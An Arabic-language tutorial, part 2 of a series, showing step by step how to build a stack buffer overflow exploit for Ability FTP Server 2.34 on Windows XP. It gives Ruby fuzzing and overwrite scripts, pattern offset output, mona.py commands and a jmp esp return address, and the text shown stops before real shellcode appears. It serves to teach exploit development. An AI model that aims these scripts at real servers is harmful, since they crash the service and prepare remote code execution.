Buffer Overflow tutorial – Part 2: Stack Based Overflow
المحتويات [اخفِ]
- 1. مقدمة
- 2. Verify the bug
- 2.1. Fuzzing
- 3. Finding EIP exact address
- 3.1. Sending unique pattern string
- 3.2. Colorizing registers
- 4. Find memory space for shellcode
- 4.1. Find the proper address
- 5. Jump to the shellcode
- 6. Generate shellcode and exploit
- 6.1. Generate shellcode
- 6.2. Find Bad/Restricted characters
- 6.3. Real & clean shellcode
- 6.4. Exploit
- Demonstration
1. مقدمة
في هذه السلسلة, لن أتكلم عن أساسيات ثغرات الـ Buffer overflow فهناك شروحات وفت هذا الجزء. و سأتطرق لما أجده مهم في عملية التطبيق من معلومات و قد أخصص أجزاء نظرية إذا دعت الحاجة.
قبل أن نبدأ أرجوا أن توفر المتطلبات التالية في بيئتك لنبدأ العمل بشكل سريع وسهل.
قبل أن نبدأ أرجوا أن توفر المتطلبات التالية في بيئتك لنبدأ العمل بشكل سريع وسهل.
نظام التشغيل: Linux
نظام تشغيل الهدف : Windows XP(SP1,SP2,SP3), Windows server 2003 بمعمارية 32-bit
الأدوات: الرجاء تحميل الأدوات من موضوع Buffer Overflow tutorial – Part 1: Tools
البرنامج المصاب: Ability Server 2.34 – قم بوضع مجلد البرنامج في “C:\”
Download AbilityWebServer.zip
نظام تشغيل الهدف : Windows XP(SP1,SP2,SP3), Windows server 2003 بمعمارية 32-bit
الأدوات: الرجاء تحميل الأدوات من موضوع Buffer Overflow tutorial – Part 1: Tools
البرنامج المصاب: Ability Server 2.34 – قم بوضع مجلد البرنامج في “C:\”
Download AbilityWebServer.zip
2. Verify the bug
هناك ثلاثة طرق رئيسية لتفحص ثغرة Overflow في برنامج معين
1- Code review: حيث يتوفر لديك الشيفرة المصدرية أو Source code وتقوم بمراجعة اكواد البرنامج و البحث عن الدوال غير الأمنة أو استخدام برامج فحص ومراجعة الأكواد.
2- Reverse enginering: هنا تقوم بالهندسة العكسية لاستخراج الشيفرة المصدرية ثم تقوم بما كنت ستقوم به في ال Code review.
3- Fuzzing: وهنالن ترى الكود الأصلي أبدا, بل ستتعامل مع مدخلات البرنامج وطرق التعامل معها سواء كان المدخلات ملف أو اتصال أو أي نوع من أنواع المدخلات. وهنا سنستخدم عملية الـ Fuzzing
1- Code review: حيث يتوفر لديك الشيفرة المصدرية أو Source code وتقوم بمراجعة اكواد البرنامج و البحث عن الدوال غير الأمنة أو استخدام برامج فحص ومراجعة الأكواد.
2- Reverse enginering: هنا تقوم بالهندسة العكسية لاستخراج الشيفرة المصدرية ثم تقوم بما كنت ستقوم به في ال Code review.
3- Fuzzing: وهنالن ترى الكود الأصلي أبدا, بل ستتعامل مع مدخلات البرنامج وطرق التعامل معها سواء كان المدخلات ملف أو اتصال أو أي نوع من أنواع المدخلات. وهنا سنستخدم عملية الـ Fuzzing
2.1. Fuzzing
في هذه العملية يجب علينا معرفة طريقة سير البرنامج أو الخدمة ومعرفة جميع الأماكن التي تستخدم لإدخال قيمة أو عدة قيم للبرنامج. أيضا يجب أن نعرف إمكانية التعامل مع هذه المدخلات. فمثلا برنامج تشغيل صوتيتا مدخلاته المنطقية هي ملف صوتي و لو كان يستخدم Themes إضافية للبرنامج فقد حصلنا على مدخل أخر وهو ملف يحتوي تصميم مظهر البرنامج. أيضا قد يقوم برنامج الصوتيات يقوم بعمل تحديث من الإنترنت أو البحث في الانترنت على ملفات صوتية, وفي هذه الحالة أضفنا مدخلا أخر وهو فتح اتصال واستقبال وإرسال. نفس الأمر مع برنامج يقدم مثلا خدمة FTP فيجب معرفة أوامر Protocol ال FTP و بالباطبع سيأخذ اسم مستخدم وكلمة مرور لهما طول محدد كحد أقصى. وهكذا
أولا نشغل الخادم و نجهز إعداداته كالتالي
ثم
ثم تأكد من إزالة علامة الصح من أمام اختيار File write. حيث هنا تكمن ثغرة الـ STOR. لا ت
ثم
ثم تأكد من إزالة علامة الصح من أمام اختيار File write. حيث هنا تكمن ثغرة الـ STOR. لا ت
نسى أن تقفل ثم تفعل خدمة الـ FTP بعد تنفيذ هذه العملية. ستلاحظ في الصورة السابقة
كلمة Deactivate أمام كل خدمة.
الأن شغل الـ immunity debugger ودرج الـ process الخاصة بـ Ability FTP server في المنقح
بهذه الطريقة
ثم نشغل البرنامج من الـ Debugger لأنه يجمد عمل البرنامج بمجرد إدراجه بداخله
بهذه الطريقة
ثم نشغل البرنامج من الـ Debugger لأنه يجمد عمل البرنامج بمجرد إدراجه بداخله
This is box title
من الضروري جدا إجادة التعامل مع ال Debugger لأنني لن أستطيع أن أعيد ك
ل هذه الصور في كل موضوع. وفي نهاية الموضوع يوجد فيدو توضيحي لكامل الموضوع
خطوة بخطوة. أيضا لن أستطيع أن أعمل فيديو في كل المواضيع لهذا وجب التنبيه.
الأن, سننشئ سكريبت بسيط يعمل عملية Fuzzing بسيطة و سيرسل 2000 حرف A بعد
تسجيل الدخول إلى خادم الـ FTP وتنفيذ أمر STOR أي أنه سيقوم بتخزين 2000 ملف
أسمهم A في الخادم. وسنقوم بتطوير هذا السكريبت حتى يصلى إلى استغلال كامل بإذن الله
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
#!/usr/bin/env ruby
#======================================================# # Ability FTP server exploit # # Security4arabs.com: Buffer Overflow tutorials # # Coded By: Sabri Saleh - KING SABRI | @KINGSABRI # #======================================================# require 'socket' buffer = "A" * 2000 #-- Connection --# host = '10.0.0.76' port = 21 s = TCPSocket.open(host, port) s.recv(1024) puts "[+] " + "Sending Username." s.send("USER ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Password." s.send("PASS ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Evil buffer." s.send("APPE " + buffer + "\r\n", 0) total = s.send("STOR " + buffer + "\r\n", 0) s.close #-- Exploit Info --# puts "---------------------" puts "[+] " + "Buffer length: " + "#{buffer.size} bytes." puts "[+] " + "Total exploit size: " + "#{total} bytes." puts "[+] " + "Done!" |
بعد تحميل الملف, اعطه صلاحيات التنفذ ثم تفذه , وستكرر هذه العملية في كل الملفات القادمة
1
|
chmod +x ability-STOR1.rb
|
1
|
ruby ability-STOR1.rb
|
ستجد شكل المنقح كالتالي, ويعني أنه حصل خطأ وتجاوز في الذاكرة. (اضغط على الصورة للتكبير)
– لاحظ في الصورة أننا وصلنا لـ EIP register حيث يحتوي على “41414141” -و التي تعني “AAAA”
بالـ Hexadecimal- وهو محور عملنا وأول أهم الأمور في العملية.
– لاحظ في الصورة أننا وصلنا إلى ESP register – سنتطرق لهذا لاحقا
– لاحظ في الصورة أننا وصلنا إلى ESP register – سنتطرق لهذا لاحقا
This is box title
في كل مرة سننفذ السكريبت يجب أن نعمل إعادة تشغيل للبرنامج من خلال المنقح
ثم تكمل تشغيله
ثم تكمل تشغيله
3. Finding EIP exact address
ذكرنا أن الـ EIP هو محور عملنا وأننا لو تحكمنا به سنتحكم بسير عمل البرنامج لأنه ا
لمؤشر الذي يشير إلى العنوان القادم الذي سيتم تنفيذ محتواه. بما أننا أرسلنا مجموعة
كبيرة من الـ A’s فإننا لا نعرف بالظبط ما هو عنوان EIP .. دعنا نقسم الـ 2000 إلى 4
ونجعلها 500 حرف A و 500 حرف B و 500 حرف C و 500 حرف D و ننفذ السكريبت وننظر ماذا
حدث في الذاكرة.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
#!/usr/bin/env ruby
#======================================================# # Ability FTP server exploit # # Security4arabs.com: Buffer Overflow tutorials # # Coded By: Sabri Saleh - KING SABRI | @KINGSABRI # #======================================================# require 'socket' buffer = "A" * 500 buffer += "B" * 500 buffer += "C" * 500 buffer += "D" * 500 #-- Connection --# host = '10.0.0.76' port = 21 s = TCPSocket.open(host, port) s.recv(1024) puts "[+] " + "Sending Username." s.send("USER ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Password." s.send("PASS ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Evil buffer." s.send("STOR " + buffer + "\r\n", 0) total = s.send("STOR " + buffer + "\r\n", 0) s.close #-- Exploit Info --# puts "---------------------" puts "[+] " + "Buffer length: " + "#{buffer.size} bytes." puts "[+] " + "Total exploit size: " + "#{total} bytes." puts "[+] " + "Done!" |
– لاحظ أن الـ EIP فيه قيمة “42424242” أي BBBB وهذا يعني أن عنوان الـ EIP في ال 500 الثانية,,
نظرة عن قرب
جميل, اتضحت الصورة الأن. لكن ماهو ليس بجميل هو أنه من الصعب تكرار وتقسيم
الحروف إلى أجزاء أصغر فأصغر حتى نصل إلى المسافة الحقيقة. ولحل هذه المشكلة ننتقل للفقرة التالية
Download ability-STOR3.rb
Download ability-STOR4.rb
ستظهر هذه النافذة
Download ability-STOR5.rb
Download ability-STOR6.rb
3.1. Sending unique pattern string
الأن جاء دور الأداة Buffer Overflow Kit لكي نخرج 2000 حرف مميزين ثم بعد ذلك نأخذ القيمة
الموجودة في الـ EIP ونبحث عنها في الـ 2000 حرف لنعرف بعد كم حرف(byte) يقعد الـ EIP بالظبط
1
2 3 4 5 6 |
ruby bofk-cli.rb --pattern-create 2000
---[ Pattern create ]----------------------------------------------------------- [+] Size: 2000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co ------------------------------------------------------------------------------ |
لنضع هذا في السكريبت وننفذه
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
#!/usr/bin/env ruby
#======================================================# # Ability FTP server exploit # # Security4arabs.com: Buffer Overflow tutorials # # Coded By: Sabry Saleh - KING SABRI | @KINGSABRI # #======================================================# require 'socket' buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co" #-- Connection --# host = '10.0.0.76' port = 21 s = TCPSocket.open(host, port) s.recv(1024) puts "[+] " + "Sending Username." s.send("USER ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Password." s.send("PASS ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Evil buffer." s.send("STOR " + buffer + "\r\n", 0) total = s.send("STOR " + buffer + "\r\n", 0) s.close #-- Exploit Info --# puts "---------------------" puts "[+] " + "Buffer length: " + "#{buffer.size} bytes." puts "[+] " + "Total exploit size: " + "#{total} bytes." puts "[+] " + "Done!" |
لننظر إلى وضع الـ EIP Register الأن
الأن ننسخ قيمة الـ EIP و في حالتنا “42336742” ونبحث عنها من ضمن الـ Pattern الذي أرسلنا
سابقا بهذه الطريقة
1
2 3 4 5 6 7 |
ruby bofk-cli.rb --pattern-offset 42336742
---[ Pattern offset ]---------------------------------------------------------- [+] Actual pattern length: 20280 chars. [+] Matches: 1 times. 969 ------------------------------------------------------------------------------ |
الأن عرفنا أننا نصل إلى الـ EIP بعد 969 byte.
This is box title
هناك أداتان في مشروع الميتا سبلويت تقوم بنفس ما تقوم به أداتنا لكننا نجمع
الأدوات المتفرقة لتكون في مكان واحد فأحيانا لا نحتاج الميتاسبلويت برمته في عملنا إلا لهذه
المهمة.
1
|
./pattern_create.rb 200
|
1
|
./pattern_offset.rb 42336742
|
3.2. Colorizing registers
هذه الخطوة على الرغم من بساطتها إلا أنها مهمة لضمان أن عملك صحيح حتى هذه المرحلة والتي هي
الفاصل للإنتقال للخطوة الهامة القادمة.
في هذه الخطوة سنقوم بإرسل 969 حرف A و نقوم بوضع BBBB في الـ EIP وبقية
في هذه الخطوة سنقوم بإرسل 969 حرف A و نقوم بوضع BBBB في الـ EIP وبقية
ال 2000 سنضعها حرف C. هذه أعتبرها تلوين للـ Registers
لكي نعرف هل عملنا صحيح أم لا, هل فعلا حسبنا عنوان الـ EIP بشكل صحيح أم لا.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
#!/usr/bin/env ruby
#======================================================# # Ability FTP server exploit # # Security4arabs.com: Buffer Overflow tutorials # # Coded By: Sabri Saleh - KING SABRI | @KINGSABRI # #======================================================# require 'socket' junk = "A" * 969 eip = "B" * 4 rest = "C" * (2000 - (eip + junk).size) buffer = junk + eip + rest #-- Connection --# host = '10.0.0.76' port = 21 s = TCPSocket.open(host, port) s.recv(1024) puts "[+] " + "Sending Username." s.send("USER ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Password." s.send("PASS ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Evil buffer." s.send("STOR " + buffer + "\r\n", 0) total = s.send("STOR " + buffer + "\r\n", 0) s.close #-- Exploit Info --# puts "---------------------" puts "[+] " + "Buffer length: " + "#{buffer.size} bytes." puts "[+] " + "Total exploit size: " + "#{total} bytes." puts "[+] " + "Done!" |
شكل الذكرة سيكون كالتالي
رائع,,
4. Find memory space for shellcode
بعد أن تأكدنا أننا نصل إلى الـEIP بنجاح جاء وقت أننا نبحث عن مكان في الذاكرة
لكي نضع فيه الـ Shellcode هذا المكان الذي سيقفز إليه الـ EIP أينما كان لتنفيذ الكود
الذي نريده سواء كان فتح إتصال أو إضافة مستخدم أو حتى تشغيل الألة الحاسبة
4.1. Find the proper address
هناك عدة أماكن من الممكن أنبحث فيها ويجب أن تتميز هذه الأماكن بصفات معينة
سواء كلها أو بعضها لكن بعضها مهم ويجب توافره.
ماهي الأماكن والملفات التي يمكن أن نبحث فيها عن مكان لوضع الـ Shellcode
– ملفات الـ dll الخاصة بالنظام مثل: user32.dll , kernel32.dll , shell32.dll
– ملفات الـ dll الخاصة بالبرنامج إن وجدت
– ملف الـ exe الخاص بالبرنامج نفسه – يعيبه أنه يحتوي على الكثير من الـ bad characters أحيانا
ماهي الشروط التي يجب توافرها
– ألا تكون خاصية الـ ALSR مفعله
– ألا تكون خاصية الـ SafeSEH مفعلة – في حالة Direct stack لن تؤثر وتستطيع أن تهملها
– استخدام ملفات الـ dll الخاصة بالبرنامج مقدمة على استخدام ملفات النظام – لتفادي
ماهي الأماكن والملفات التي يمكن أن نبحث فيها عن مكان لوضع الـ Shellcode
– ملفات الـ dll الخاصة بالنظام مثل: user32.dll , kernel32.dll , shell32.dll
– ملفات الـ dll الخاصة بالبرنامج إن وجدت
– ملف الـ exe الخاص بالبرنامج نفسه – يعيبه أنه يحتوي على الكثير من الـ bad characters أحيانا
ماهي الشروط التي يجب توافرها
– ألا تكون خاصية الـ ALSR مفعله
– ألا تكون خاصية الـ SafeSEH مفعلة – في حالة Direct stack لن تؤثر وتستطيع أن تهملها
– استخدام ملفات الـ dll الخاصة بالبرنامج مقدمة على استخدام ملفات النظام – لتفادي
مشاكل اختلاف إصدارات النظام واللغات والتحديثات
– ألا يبدأ عنوان القفز إلى الملف بثلاثة أصفار (000) تفاديا للـ bad character – وسنعرف
– ألا يبدأ عنوان القفز إلى الملف بثلاثة أصفار (000) تفاديا للـ bad character – وسنعرف
ما هو عنوان القفز بعد قليل
لنعرف الملفات التنفيذية التي تعمل مع عمل البرنامج اضغط على زر “e” كما في الصورة
ستظهر هذه النافذة
سأختار من ضمن الملفات ملف user32.dll
والأن جاء الوقت للبحث عن المكان الذي سنضع فيه الـ shellcode ونجعل الـ EIP يقفز إليه
– إذهب إلى أسفل المنقح
و سنستخدم إضافة mona.py للبحث داخل ملف user32.dll على عنوان مناسب بتنفيذ
والأن جاء الوقت للبحث عن المكان الذي سنضع فيه الـ shellcode ونجعل الـ EIP يقفز إليه
– إذهب إلى أسفل المنقح
و سنستخدم إضافة mona.py للبحث داخل ملف user32.dll على عنوان مناسب بتنفيذ
الأمر التالي , ثم انتظر قليلا
1
|
!mona jmp -r esp -n -m USER32.dll
|
This is box title
إذا أردت البحث عن jmp في جميع الملفات دون تحديد dll معين, استخدم الطريقة
التالية لكن ستضطر للانتظار وقت أطول قليلا
1
|
!mona jmp -r esp -n
|
– اذهب إلى الملف jmp.txt في المسار “C:\Program Files\Immunity Inc\Immunity Debugger\jmp.txt”
ستجد محتوياته تشبه هذه
ستجد محتوياته تشبه هذه
1
2 3 |
0x77d8af0a : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d6b141 : call esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll) 0x77d5aa01 : push esp # ret | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll) |
سنختار العنوان الذي يسبق jmp esp وهو 0x77d8af0a
This is box title
هل تذكر عندما أشرنا في مرحلة الـ Fuzzing أننا استطعناالوصوع إلى EIP و ESP ؟
لهذا نحن بحثنا عن jmp esp ولو وجدنا أننا وصلنا إلى أي register اخر مثلا “EBX”
لاستبدلنا esp به وستصبح jmp ebx.
This is box title
هناك طرق عديدة أخرى للقفز من مكان إلى مكان و -بإذن الله- سأشرحها في موضوع
مستقل. حتى الأن أريدك أن تركز على jmp وإذا استوعبت الأمر جيدا, جرب أن تستخدم
عنوان “call esp” و الذي هو 0x77d6b141 وتعيد الخطوات بداية من هنا. فقط انهي الشرح معي
خطوة بخطوة ثم ارجع إلى هذه النقطة وجرب بنفسك.
5. Jump to the shellcode
بعد أن عرفنا العنوان الذي سنقفز إليه في الذاكرة لكي نضع الـ Shellcode يجب أن نحوله
إلى little endian character حتى هي الصيغة التي تقرأ بها معالجات Intel من الذاكرة -
هناك تفصيل لهذا ولسنا بصدده- إذا كيف نحول الـ byte إلى Little endian format؟.
للتوضيح, لو كان عند
4 bytes بهذا الشكل ABCD والتي تعني \x41\x42\x43\x44 فإن صيغة الـ little endian ستكون \x44\x43\x42\x41.
للقيام بهذه العملية بشكل أسرع وبدون الوقوع في أخطاء أثناء عملنا, قمت بعمل أداة تقوم بتحول العنوان المعطى إلى little endian تجدها في أداة Buffer overflow Kit.
1
2 3 4 |
ruby bofk-cli.rb --hex2lend 0x77d8af0a
---[ Little endian format ]---------------------------------------------------- \x0a\xaf\xd8\x77 ------------------------------------------------------------------------------ |
جميل, الأن لنضع هذه القيمة في الـ EIP ونرى هل سيقفز إلى هذا العنوان أم لا.
ستلاحظ أننا أضفنا في السكريبت متغيران
nop: وقيمتها \x90 وهي تعني No Operation حيث لا يقوم المعالج بعمل أي شئ خلال
ستلاحظ أننا أضفنا في السكريبت متغيران
nop: وقيمتها \x90 وهي تعني No Operation حيث لا يقوم المعالج بعمل أي شئ خلال
مروره بهذه المجموعة من البايتات و تواجدها مهم قبل الـ shellcode.
shellcode: هنا أضفنا 370 بايت من الحرف S (قيمة حرف S بالهيكسا هي \x53) وهي
shellcode: هنا أضفنا 370 بايت من الحرف S (قيمة حرف S بالهيكسا هي \x53) وهي
قيمة مقاربة لحجم الـ shellcode الحقيقي من الميتاسبلويت وسنستبلدها لاحقا بواحد حقيقي.
بعد تشغيل البرنامج و قبل أن تنفذ السكريبت قم بالبحث عن العنوان 0x77d8af0a في
البرنامج وضع عنده نقطة وقوف بالطريقة التالية
– اضغط Ctrl + G وضع فيها القيمة 0x77d8af0a
– في الشاشة العلوية اليسرى, ستجد المؤشر يقف عند jmp esp. اضغط F2
الأن نفذ السكريبت
– اضغط Ctrl + G وضع فيها القيمة 0x77d8af0a
– في الشاشة العلوية اليسرى, ستجد المؤشر يقف عند jmp esp. اضغط F2
الأن نفذ السكريبت
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#!/usr/bin/env ruby
